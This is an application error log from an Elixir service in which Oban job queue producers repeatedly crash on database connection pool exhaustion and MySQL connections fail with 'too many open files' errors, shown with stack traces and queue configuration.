[Sun Sep  6 00:30:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:30:11.240007Z], limit: 50, uuid: "1e6f8308-7009-43c8-8c4d-95d1c21c465c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.240013Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62828>, refresh_timer: #Reference<0.2525715032.1068498948.62795>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 888ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:30:11.240511Z], limit: 10, uuid: "a3a45f15-6ebb-46c3-a55f-c2b474386d34", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.240516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61451>, refresh_timer: #Reference<0.2525715032.1121189889.194677>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:23.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:30:11.240115Z], limit: 5, uuid: "6f34c3fe-12c0-4161-9b08-a8ae6829682a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.240122Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61452>, refresh_timer: #Reference<0.2525715032.1121189889.194667>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:30:11.241220Z], limit: 3, uuid: "54ce6dbf-3f11-45c6-8281-8962da946ce8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.241226Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61448>, refresh_timer: #Reference<0.2525715032.1099431938.61440>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:23.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:30:11.240270Z], limit: 20, uuid: "cf11e803-3f59-478e-bf2d-f147651330f8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:11.240275Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61449>, refresh_timer: #Reference<0.2525715032.1068498948.62810>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:25.474000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:30.198000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:31.507000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:31.740000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:31.858000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:32.214000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:30:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:30:23.239737Z], limit: 10, uuid: "3883c43c-77f6-44b4-af11-fc7f23af453a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.239742Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61676>, refresh_timer: #Reference<0.2525715032.1068498948.62879>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1006ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:30:23.239462Z], limit: 50, uuid: "28089212-9611-4a41-8010-034c3b5cfd12", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.239468Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61675>, refresh_timer: #Reference<0.2525715032.1077673987.41222>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1070ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:30:23.240580Z], limit: 3, uuid: "2bc10d63-f153-4470-b601-909f5e17986e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:30:23.240586Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.61678>, refresh_timer: #Reference<0.2525715032.1121189889.194991>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:30:35.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 893ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
